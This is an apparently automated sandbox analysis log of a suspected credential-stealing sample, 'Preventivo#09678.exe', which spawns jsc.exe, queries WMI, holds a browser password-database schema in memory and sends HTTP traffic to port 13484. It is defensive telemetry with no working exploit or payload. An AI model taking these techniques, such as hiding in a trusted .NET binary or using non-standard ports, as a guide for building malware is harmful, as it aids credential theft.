Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tmpD703.tmp.7.dr, tmp4829.tmp.7.dr, tmp483C.tmp.7.dr, tmpD6E2.tmp.7.dr, tmp484C.tmp.7.dr, tmpD6F2.tmp.7.dr, tmp485D.tmp.7.dr, tmpD6BF.tmp.7.dr, tmpD6E1.tmp.7.dr, tmp482A.tmp.7.dr, tmpD6D0.tmp.7.dr, tmp483B.tmp.7.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Preventivo#09678.exe

File read: C:\Users\user\Desktop\Preventivo#09678.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Preventivo#09678.exe "C:\Users\user\Desktop\Preventivo#09678.exe"
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 5092 -s 1152
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\Preventivo#09678.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Preventivo#09678.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: Preventivo#09678.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Preventivo#09678.exe

Static file information: File size 1583745 > 1048576

Source: Preventivo#09678.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Preventivo#09678.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Windows.Forms.pdbx source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.pdb) source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Drawing.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbe(Syste] source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.pdb0<c source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb/ source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.VisualBasic.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb1 source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb.Forms.pdbpdbrms.pdbm.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb2 source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\System.Windows.Forms.pdbs\ source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\Windows\System.Windows.Forms.pdb@ source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdbpx source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.pdbP source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Xml.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9977000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: \??\C:\Windows\System.Windows.Forms.pdbP source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Windows.Forms.pdbpdbrms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\Microsoft.VisualBasic.pdbpdbsic.pdbngI source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Configuration.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Xml.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Drawing.pdbH source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9905000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp, Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp, WERCF7B.tmp.dmp.11.dr
Source:	Binary string: mscorlib.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Windows.Forms.pdbt source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Windows.Forms.pdbk source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Windows.Forms.pdbF9E-7F9C-4437-8B11-F424491E3931}\ServerF9C-4437-8B11-F424491E3931}\InprocServer32 source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1516742980.00000213C9977000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\dll\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1515781633.000000FB88EF2000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Windows.Forms.pdb source: Preventivo#09678.exe, 00000000.00000002.1536007808.00000213E3E40000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERCF7B.tmp.dmp.11.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERCF7B.tmp.dmp.11.dr

Source: Preventivo#09678.exe

Static PE information: 0xB235CF4A [Sun Sep 28 23:42:02 2064 UTC]

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC637963 push ebx; retf		0_2_00007FFAAC63796A
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Code function: 0_2_00007FFAAC710001 push esp; retf 4810h		0_2_00007FFAAC710312

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 13484
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 13484 -> 49744

Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Preventivo#09678.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
